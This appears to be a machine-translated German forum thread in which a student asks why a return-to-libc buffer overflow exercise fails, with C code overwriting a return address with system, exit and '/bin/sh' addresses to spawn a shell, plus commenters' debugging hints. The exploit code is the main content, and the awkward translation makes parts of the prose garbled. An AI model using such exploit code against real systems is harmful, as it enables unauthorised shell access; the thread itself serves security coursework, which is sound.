zurück zu lib_c buffer-overflow-übung Thema

Ich soll kommen mit einem Programm, nutzt die "return to libc-Puffer-überlauf". Dies ist, wenn Sie ausgeführt, es sauber beendet und bringt eine SHELL-Eingabeaufforderung. Das Programm wird ausgeführt in einem bash-terminal. Unten ist mein C-code:

#include <stdio.h>
int main(int argc, char*argv[]){
    char buffer[7];

    char buf[42];
    int i = 0;
    while(i < 28)
    {
            buf[i] = 'a';
            i = i + 1;
    }

    *(int *)&buf[28] = 0x4c4ab0;
    *(int *)&buf[32] = 0x4ba520;
    *(int *)&buf[36] = 0xbfffff13;

    strcpy(buffer, buf);

    return 0;
}

Mit gdb, ich habe in der Lage, um zu bestimmen, die folgenden:

  • - Adresse für "system": 0x4c4ab0
  • - Adresse für "exit": 0x4ba520
  • Den string "/bin/sh" befindet sich im Speicher an: 0xbfffff13

Weiß ich auch, mit gdb, dass das einfügen von 32 "A"'s in meinen buffer-variable überschreiben der Rücksprungadresse. So da der system call is 4 bytes, beginne ich durch die Füllung in my memory "Leck" am 28 bytes. Am 28 byte, beginne ich mein system aufrufen, dann beenden call, und schließlich noch meine "/bin/sh" Speicherort.

Wenn ich das Programm ausführen, jedoch bekomme ich die folgende:

sh: B���: command not found
Segmentation fault (core dumped)

Ich bin wirklich nicht sicher, was ich falsch mache...

[EDIT]: ich war in der Lage, die Zeichenkette "/bin/sh" durch exportieren von Umgebungsvariablen:

export MYSHELL="/bin/sh"
  • Ist dein string "/bin/sh" beendet mit einem \0?
  • Zu sehen, wie ich verwendet, "export", um es in den Speicher - es ist durchaus möglich, es ist beendet mit dem \0-Zeichen.
  • die Adresse von /bin/sh Veränderungen vor und nach gdb. Finden, ein vorkommen von /bin/sh direkt in der libc verwendet.
  • Die Adresse bekam ich für /bin/sh durch mit meinem Programm durch die gdb, also die Adresse, die ich sah, sollte das gleiche wie wenn ich das Programm von selbst. Es gibt keine Adresse Randomisierung auf dieser Maschine, entweder.
  • auch ohne stack-randomization, die Form der stack ist nicht das gleiche unter oder nicht unter gdb. Die stack-Adresse Ihres MYSHELL variable ist wahrscheinlich anders zu sein, nicht unter gdb als die, die Sie haben unter gdb.
Schreibe einen Kommentar